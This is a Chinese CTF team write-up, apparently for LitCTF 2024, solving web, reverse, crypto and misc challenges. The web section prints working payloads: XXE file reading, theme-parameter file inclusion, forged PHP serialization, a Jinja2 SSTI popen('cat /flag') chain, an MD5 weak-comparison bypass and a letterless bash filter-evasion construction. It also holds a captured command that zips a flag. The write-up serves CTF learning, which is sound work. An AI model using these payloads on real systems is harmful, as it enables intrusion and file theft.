好简单的比赛!主要是队友大佬,早上起床开个靶机去吃饭回来队友已经把web秒到只剩下一道题了(我开着靶机队友上不去)misc也快秒完了
后来我做了一下web,一共用时29分04秒77比队友慢了一点())
队里没有crypto reverse和pwn手,也没什么成绩,佬们凑合着看吧,轻点喷哈~
队伍:LamentA 排位:67 队伍成员: LamentXU Leif9964 sanmu1 ababab
web(ak)
reverse
crypto
misc(ak)
写在后面
WEB exx xml实体注入。题目的名称或者抓包都可以看出来。
原理的话就不说了。
DTD定义合法的xml文档:
1 2 3 4 **内部声明DTD** <!DOCTYPE 根元素 [元素声明]> **引用外部DTD** <!DOCTYPE 根元素 SYSTEM "文件名">
带有dtd的xml文档实例:
1 2 3 4 5 6 内部声明实体 <!ENTITY 实体名称 "实体的值"> **引用外部实体** <!ENTITY 实体名称 SYSTEM "URL"> 或者: <!ENTITY 实体名称 PUBLIC "public_ID" "URL">
payload:
1 2 3 4 5 6 <?xml version="1.0"?> <!DOCTYPE a[ <!ENTITY b SYSTEM "php://filter/convert.base64-encode/resource=/flag"> ]> <user><username>&b;</username><password>123</password></user>
这里定义了一个名为b的实体,它被引用了一个系统命令:php://filter/convert.base64-encode/resource=/flag
当然这是php环境。然后根据一般情况下的回显:把回显位置换成定义的实体b。如果正确解析的话就插入到了指定位置。
高亮主题(划掉)背景查看器 直接梭哈:
这一题其实注入点很好玩。注入点不是显示出来的url,而是点击Use this theme之后产生的反应:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST / HTTP/1.1 Host: node3.anna.nssctf.cn:28296 Content-Length: 16 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://node3.anna.nssctf.cn:28296 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://node3.anna.nssctf.cn:28296/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close theme=theme1.php
注入点显而易见,根据报错信息:
1 Warning</b>: include(themes//flag): failed to open stream: No such file or directory in <b>/var/www/html/index.php
也就是说文件目录被拼接了一个theme
所以直接梭哈:
浏览器也能套娃? SSRF
直接使用伪协议:
SAS - Serializing Authentication System 直接梭哈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class User { public $username; public $password; function __construct($username, $password) { $this->username = $username; $this->password = $password; } function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; } } $pay=new User("admin","secure_password"); echo base64_encode(serialize($pay)); ?>
一个….池子? 根据返回报文:
1 2 3 4 5 6 HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.14 Date: Sat, 01 Jun 2024 03:55:39 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1340 Connection:
可以看出来这是一个python写的后端,尝试SSTI:
直接梭哈:
1 input={{"".__class__.__base__.__subclasses__()[137].__init__.__globals__["popen"]("cat /flag").read()}}
百万美金的诱惑 这一题很有意思。第一关:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting(0); $a = $_GET['a']; $b = $_GET['b']; $c = $_GET['c']; if ($a !== $b && md5($a) == md5($b)) { if (!is_numeric($c) && $c > 2024) { echo "好康的"; } else { die("干巴爹干巴爹先辈~"); } } else { die("开胃小菜))"); }
弱比较:
1 GET /?a[]=1&b[]=2&c=2525b
第二关:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php //flag in 12.php error_reporting(0); if(isset($_GET['x'])){ $x = $_GET['x']; if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){ system("cat ".$x.".php"); } }else{ highlight_file(__FILE__); } ?>
bash构造无数字字符的命令。
我构造的双展开形式的${}${}在bash中可以执行,但是在php中执行不了。
后来看bash扩展的时候,看到了一个很抽象的东西:
1 2 3 4 5 6 7 8 '$(())', # 0 '$((~$(($((~$(())))$((~$(())))))))', # 1 '$((~$(($((~$(())))$((~$(())))$((~$(())))))))', # 2 '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 3 '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 4 '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 5 '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 6 '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 7
按照这个逻辑直接构造12:
1 $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
REVERSE ez_python!!!! 解包pyinstall打包后的.exe脚本:pyinstxtractor下载
然后发现ezpy.pyc,直接使用在线工具反编译
反编译结果:
1 2 3 4 5 6 7 # Visit https://www.lddgo.net/string/pyc-compile-decompile for more information # Version : Python 3.11 import Litctfbase64 flag = input('flag:') flag = Litctfbase64.b64decode(flag) # WARNING: Decompyle incomplete
注意到有部分反编译失败,但能看到导入了LitCTFbase64库
对其进行反编译,得到
1 2 3 4 5 6 7 8 9 10 11 12 13 # Visit https://www.lddgo.net/string/pyc-compile-decompile for more information # Version : Python 3.11 import string BASE64_ALPHABET = '8kuWYm=1JiUPs7DT4x+X5tcqZKfGvA0gFLB6y3QbV2rNOlRdMwnEohjzSe9/HIa-' def b64decode(input_string): pass # WARNING: Decompyle incomplete def from_base64(base64_string): pass # WARNING: Decompyle incomplete
发现关键代码处均反编译失败,但得到BASE64_ALPHABET,推测为base64编码表
使用如下脚本看字节码指令
1 2 3 4 5 6 7 8 9 10 import dis import marshal import sys if len(sys.argv) == 2: filename = sys.argv[1] with open(filename,"rb") as fp: byteCode = fp.read()[16:] co = marshal.loads(byteCode) dis.dis(co)
发现ezpy.pyc中有可疑输出X=3o4hx=0EZwf=mMv13gX=3o4hx=qje2ZjtgZQmEKXZog4== 猜测为密文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 0 0 RESUME 0 1 2 LOAD_CONST 0 (0) 4 LOAD_CONST 1 (None) 6 IMPORT_NAME 0 (Litctfbase64) 8 STORE_NAME 0 (Litctfbase64) 2 10 NOP 9 12 NOP 12 14 PUSH_NULL 16 LOAD_NAME 1 (input) 18 LOAD_CONST 2 ('flag:') 20 PRECALL 1 24 CALL 1 34 STORE_NAME 2 (flag) 13 36 PUSH_NULL 38 LOAD_NAME 0 (Litctfbase64) 40 LOAD_ATTR 3 (b64decode) 50 LOAD_NAME 2 (flag) 52 PRECALL 1 56 CALL 1 66 STORE_NAME 2 (flag) 15 68 LOAD_NAME 2 (flag) 70 LOAD_CONST 3 ('X=3o4hx=0EZwf=mMv13gX=3o4hx=qje2ZjtgZQmEKXZog4==') 72 COMPARE_OP 2 (==) 78 POP_JUMP_FORWARD_IF_FALSE 13 (to 106) 16 80 PUSH_NULL 82 LOAD_NAME 4 (print) 84 LOAD_CONST 4 ('win') 86 PRECALL 1 90 CALL 1 100 POP_TOP 102 LOAD_CONST 1 (None) 104 RETURN_VALUE 17 >> 106 PUSH_NULL 108 LOAD_NAME 4 (print) 110 LOAD_CONST 5 ('no') 112 PRECALL 1 116 CALL 1 126 POP_TOP 128 LOAD_CONST 1 (None) 130 RETURN_VALUE
最后,base64换表解码
1 2 3 4 5 6 7 8 9 import base64 import string str1 = "X=3o4hx=0EZwf=mMv13gX=3o4hx=qje2ZjtgZQmEKXZog4==" string1 = "8kuWYm=1JiUPs7DT4x+X5tcqZKfGvA0gFLB6y3QbV2rNOlRdMwnEohjzSe9/HIa-" string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))
编码喵 拖入IDA,shift+f12发现两个可疑字符串
1 2 tgL0q1rgEZaZmdm0zwq4lweYzgeTngfHnI1ImMm5ltaXywnLowuYnJmWmx0 //推测为密文 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 //推测为base64表
拖入脚本中运行即可
1 2 3 4 5 6 7 8 9 import base64 import string str1 = "tgL0q1rgEZaZmdm0zwq4lweYzgeTngfHnI1ImMm5ltaXywnLowuYnJmWmx0 " string1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))
CRYPTO small_e 1 2 3 4 5 import gmpy2 c_list = [] // your list for i in c_list: t = gmpy2.iroot(i,3) print(chr(t),end="")
得到flag
common_primes 求n1与n2的公约数即是p
然后就是正常解密。
CRT 轩禹CTF_RSA工具直接秒
little_fermet 差不多的原题:祥云杯 2022的little little fermat
贴上exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import gmpy2 from Crypto.Util.number import long_to_bytes,bytes_to_long import libnum n = 122719648746679660211272134136414102389555796575857405114496972248651220892565781331814993584484991300852578490929023084395318478514528533234617759712503439058334479192297581245539902950267201362675602085964421659147977335779128546965068649265419736053467523009673037723382969371523663674759921589944204926693 c = 109215817118156917306151535199288935588358410885541150319309172366532983941498151858496142368333375769194040807735053625645757204569614999883828047720427480384683375435683833780686557341909400842874816853528007258975117265789241663068590445878241153205106444357554372566670436865722966668420239234530554168928 temp=gmpy2.iroot(n,2)[0] p=gmpy2.next_prime(temp) q=n//p assert p*q == n x = q-1 phi = (p-1)*(q-1) e = 65537 d = gmpy2.invert(e, phi) m = pow(c,d,n) m = int(m ^ x) print(libnum.n2s(m))
MISC 涐贪恋和伱、甾―⑺dé毎兮毎秒
你说得对,但__
原铁,启动! 

盯帧珍珠
Everywhere We Go
舔到最后应有尽有 base64隐写
直接PuzzleSolver秒杀
关键,太关键了! PuzzleSolver字频统计
关键字解密
女装照流量 跟踪http
28页为zip
26页base64为key
1 Y2QgL2QgIkM6XFxQcm9ncmFtIEZpbGVzXFxwaHBzdHVkeV9wcm9cXFdXV1xcTGl0Q1RGLXBjYXBuZyImemlwIC1QICJQYVNzdzByZF9MaXRDdEZfTDB2ZWx5X3RhbkppIiBmMWFnLnppcCBmbGFnLnBocCZlY2hvIDFhOTI1JmNkJmVjaG8gNmZmZWIx&xf65aaf1672c18=ST
The love 掩码和压缩包
提取爆破即可
1 Ykc5MlpWOXBjMTl3WVdsdVpuVnM
base64解两次
然后使用DeepSound注意版本必须是2.2 对爱情.wav解密即可,密码是上面的love_is_painful
写在后面 好久没有打过这么爽的一次比赛了,其他一点不懂的方向还能靠现学现卖混点分())
最近打了几把不是新生赛的比赛老是被暴杀,算是感受到CTF的无聊和苦闷了
也许过了打新生赛的快乐阶段才算真正入门CTF吧